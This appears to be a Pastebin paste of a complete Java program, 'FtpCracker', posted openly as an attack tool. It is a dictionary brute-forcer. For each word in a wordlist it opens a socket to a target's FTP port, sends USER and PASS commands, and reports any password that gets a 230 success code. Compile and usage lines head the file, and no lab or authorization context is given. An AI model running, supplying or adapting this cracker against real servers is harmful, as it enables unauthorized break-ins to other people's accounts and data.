0x00sec_JINX

FtpCracker.java

Dec 21st, 2016
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.99 KB | None | 0 0
  1. /*
  2. This program is free software: you can redistribute it and/or modify
  3. it under the terms of the GNU General Public License as published by
  4. the Free Software Foundation, either version 3 of the License, or
  5. (at your option) any later version.
  6.  
  7. This program is distributed in the hope that it will be useful,
  8. but WITHOUT ANY WARRANTY; even without the implied warranty of
  9. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10. GNU General Public License for more details.
  11.  
  12. You should have received a copy of the GNU General Public License
  13. along with this program.  If not, see <http://www.gnu.org/licenses/>.
  14.  
  15. Compile with: javac FtpCracker.java
  16. Usage: java FtpCracker <target> <username> <dictionary file>
  17. */
  18.  
  19. import java.net.*;
  20. import java.io.*;
  21.  
  22. public class FtpCracker {
  23.  
  24.     public static void main(String[] args) throws IOException {
  25.  
  26.         // Check the args and return an error if not the required amount
  27.         if (args.length != 3) {
  28.             System.err.println("Usage: java FtpCracker <target> <username> <dictionary_file>");
  29.             System.exit(1);
  30.         }
  31.  
  32.         // Init (some) args as variables
  33.         File dict = new File(args[2]);
  34.  
  35.         try (
  36.  
  37.             // Set up the file input reader
  38.             FileInputStream dict_file_input = new FileInputStream(dict);
  39.             BufferedReader dictionary = new BufferedReader(new InputStreamReader(dict_file_input));
  40.        
  41.         ) {
  42.  
  43.             String usernameLine = ("USER " + args[1] + "\r");
  44.             String line = null;
  45.  
  46.             while ((line = dictionary.readLine()) != null) {
  47.            
  48.                 // Set up the socket, the socket input and output streams
  49.                 Socket conSocket = new Socket(args[0], 21);
  50.                 PrintWriter socketOut = new PrintWriter(conSocket.getOutputStream(), true);
  51.                 BufferedReader socketIn = new BufferedReader(new InputStreamReader(conSocket.getInputStream()));
  52.                 String statusCode = null;
  53.                 statusCode = socketIn.readLine();
  54.  
  55.                 // Set up the password for testing
  56.                 line = line.replace("\n", "");
  57.                 String passLine = ("PASS " + line + "\r");
  58.  
  59.                 // Send username to ftp server
  60.                 System.out.println("Trying: " + args[1] + " - " + line);
  61.                 socketOut.println(usernameLine);
  62.                 statusCode = socketIn.readLine();
  63.  
  64.                 // Send pass to ftp server and parse status code
  65.                 socketOut.println(passLine);
  66.                 statusCode = socketIn.readLine();
  67.                 int finalStatus = Integer.parseInt(statusCode.substring(0,3));
  68.  
  69.                 // Send termination to ftp server
  70.                 socketOut.println("QUIT\r\n");
  71.  
  72.                 // Receive closing message and close socket
  73.                 statusCode = socketIn.readLine();
  74.                 conSocket.close();
  75.  
  76.                 // Check the status code for ftp's success code
  77.                 if (finalStatus == 230) {
  78.                     System.out.println("[***] Password Found: " + line);
  79.                     System.exit(1);
  80.                 }
  81.             }
  82.  
  83.             System.out.println("Password was not found\nUse a different dictionary file");
  84.             System.exit(1);
  85.  
  86.         }
  87.        
  88.         // Catch thrown errors, if occur
  89.         catch (UnknownHostException e){
  90.             System.err.println(e);
  91.             System.exit(1);
  92.         }
  93.         catch (IOException e){
  94.             System.err.println(e);
  95.             System.exit(1);
  96.         }
  97.     }
  98. }
Add Comment
Please, Sign In to add comment